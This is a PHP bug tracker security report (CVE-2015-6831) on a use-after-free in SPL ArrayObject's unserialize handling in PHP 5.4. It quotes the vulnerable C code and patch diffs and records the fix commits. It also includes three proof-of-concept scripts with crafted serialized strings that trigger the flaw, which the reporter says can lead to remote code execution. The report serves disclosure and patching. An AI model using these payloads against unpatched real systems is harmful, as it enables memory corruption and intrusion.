php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #70166 Use After Free Vulnerability in unserialize() with SPLArrayObject
Submitted: 2015-07-29 13:28 UTC Modified: 2015-09-09 10:05 UTC
From: taoguangchen at icloud dot com Assigned: stas (profile)
Status: Closed Package: *General Issues
PHP Version: 5.4.43 OS: *
Private report: No CVE-ID: 2015-6831
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: taoguangchen at icloud dot com
New email:
PHP Version: OS:

 

 [2015-07-29 13:28 UTC] taoguangchen at icloud dot com
Description:
------------
```
	if (*p!= 'x' || *++p != ':') {
		goto outexcept;
	}
	++p;

	ALLOC_INIT_ZVAL(pflags);
	if (!php_var_unserialize(&pflags, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pflags) != IS_LONG) {
		zval_ptr_dtor(&pflags);
		goto outexcept;
	}

	--p; /* for ';' */
	flags = Z_LVAL_P(pflags);
	zval_ptr_dtor(&pflags);  ===>  free memory
	
	...
	
	if (*p!='m') {
		if (*p!='a' && *p!='O' && *p!='C' && *p!='r') {
			goto outexcept;
		}
		intern->ar_flags &= ~SPL_ARRAY_CLONE_MASK;
		intern->ar_flags |= flags & SPL_ARRAY_CLONE_MASK;
		zval_ptr_dtor(&intern->array);
		ALLOC_INIT_ZVAL(intern->array);
		if (!php_var_unserialize(&intern->array, &p, s + buf_len, &var_hash TSRMLS_CC)) {  ===> use freed memory and double-free it via crafted serialized string.
			goto outexcept;
		}
	}
	
	...
	
	if (*p!= 'm' || *++p != ':') {
		goto outexcept;
	}
	++p;

	ALLOC_INIT_ZVAL(pmembers);
	if (!php_var_unserialize(&pmembers, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pmembers) != IS_ARRAY) {  ===>  control and use freed memory via R: or r:
		zval_ptr_dtor(&pmembers);
		goto outexcept;
	}
```

&pflags was be freed, but we can use that already freed memory and double-free it via crafted serialized string. ex: DateInterval::__wakeup() and other objects.

so we can control and use that doubles freed memory via R: and r:. it is possible to use-after-free attack and execute arbitrary code remotely.

PoC1:
```
$inner = 'x:i:0;O:12:"DateInterval":1:{s:1:"y";R:3;};m:a:1:{i:0;R:2;}';
$exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}';
$data = unserialize($exploit);

for($i = 0; $i < 5; $i++) {
    $v[$i] = 'hi'.$i;
}

var_dump($data);
```

PoC2:
```
class test
{
	var $ryat;
	
	function __wakeup()
	{
		$this->ryat = 'ryat';
	}
}

$inner = 'x:i:0;O:4:"test":1:{s:4:"ryat";R:3;};m:a:1:{i:0;R:2;}';
$exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}';
$data = unserialize($exploit);

for($i = 0; $i < 5; $i++) {
    $v[$i] = 'hi'.$i;
}

var_dump($data);
```


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-07-29 13:58 UTC] taoguangchen at icloud dot com
the patch for 5.4 series (maybe work on 5.5 and 5.6 series):

diff --git a/php-5.4.43/spl_array.c b/php-5.4.43-fixed/spl_array.c
index ec9ce21..202d8da 100644
--- a/php-5.4.43/spl_array.c
+++ b/php-5.4.43-fixed/spl_array.c
@@ -1777,6 +1777,8 @@ SPL_METHOD(Array, unserialize)
 		zval_ptr_dtor(&pflags);
 		goto outexcept;
 	}
+	
+	var_push_dtor(&var_hash, &pflags);
 
 	--p; /* for ';' */
 	flags = Z_LVAL_P(pflags);
 [2015-07-30 12:00 UTC] taoguangchen at icloud dot com
this bug can be easily exploited, like this:

```
$inner = 'x:i:1;a:0:{};m:a:0:{}';
$exploit = 'a:2:{i:0;C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}i:1;R:5;}';

$data = unserialize($exploit);

for($i = 0; $i < 5; $i++) {
    $v[$i] = 'hi'.$i;
}

var_dump($data);
```
 [2015-07-30 12:10 UTC] taoguangchen at icloud dot com
update a new patch for fix another UaF (test on 5.4 series):

diff --git a/php-5.4.43/spl_array.c b/php-5.4.43-fixed/spl_array.c
index ec9ce21..78d5370 100644
--- a/php-5.4.43/spl_array.c
+++ b/php-5.4.43-fixed/spl_array.c
@@ -1777,6 +1777,8 @@ SPL_METHOD(Array, unserialize)
 		zval_ptr_dtor(&pflags);
 		goto outexcept;
 	}
+	
+	var_push_dtor(&var_hash, &pflags);
 
 	--p; /* for ';' */
 	flags = Z_LVAL_P(pflags);
@@ -1819,6 +1821,8 @@ SPL_METHOD(Array, unserialize)
 		zval_ptr_dtor(&pmembers);
 		goto outexcept;
 	}
+	
+	var_push_dtor(&var_hash, &pmembers);
 
 	/* copy members */
 	if (!intern->std.properties) {
 [2015-08-04 22:22 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=7381b6accc5559b2de039af3a22f6ec1003b03b3
Log: Fixed bug #70166 - Use After Free Vulnerability in unserialize() with SPLArrayObject
 [2015-08-04 22:22 UTC] stas@php.net
-Status: Open +Status: Closed
 [2015-08-04 22:23 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=7381b6accc5559b2de039af3a22f6ec1003b03b3
Log: Fixed bug #70166 - Use After Free Vulnerability in unserialize() with SPLArrayObject
 [2015-08-04 22:30 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=7381b6accc5559b2de039af3a22f6ec1003b03b3
Log: Fixed bug #70166 - Use After Free Vulnerability in unserialize() with SPLArrayObject
 [2015-08-05 07:29 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=7381b6accc5559b2de039af3a22f6ec1003b03b3
Log: Fixed bug #70166 - Use After Free Vulnerability in unserialize() with SPLArrayObject
 [2015-08-05 10:12 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=7381b6accc5559b2de039af3a22f6ec1003b03b3
Log: Fixed bug #70166 - Use After Free Vulnerability in unserialize() with SPLArrayObject
 [2015-09-09 10:05 UTC] kaplan@php.net
-Assigned To: +Assigned To: stas -CVE-ID: +CVE-ID: 2015-6831
 [2015-09-09 10:05 UTC] kaplan@php.net
Shared CVE between bugs #70155, #70166, #70168 and #70169.
 
PHP Copyright © 2001-2025 The PHP Group
All rights reserved.
Last updated: Mon Mar 31 03:01:29 2025 UTC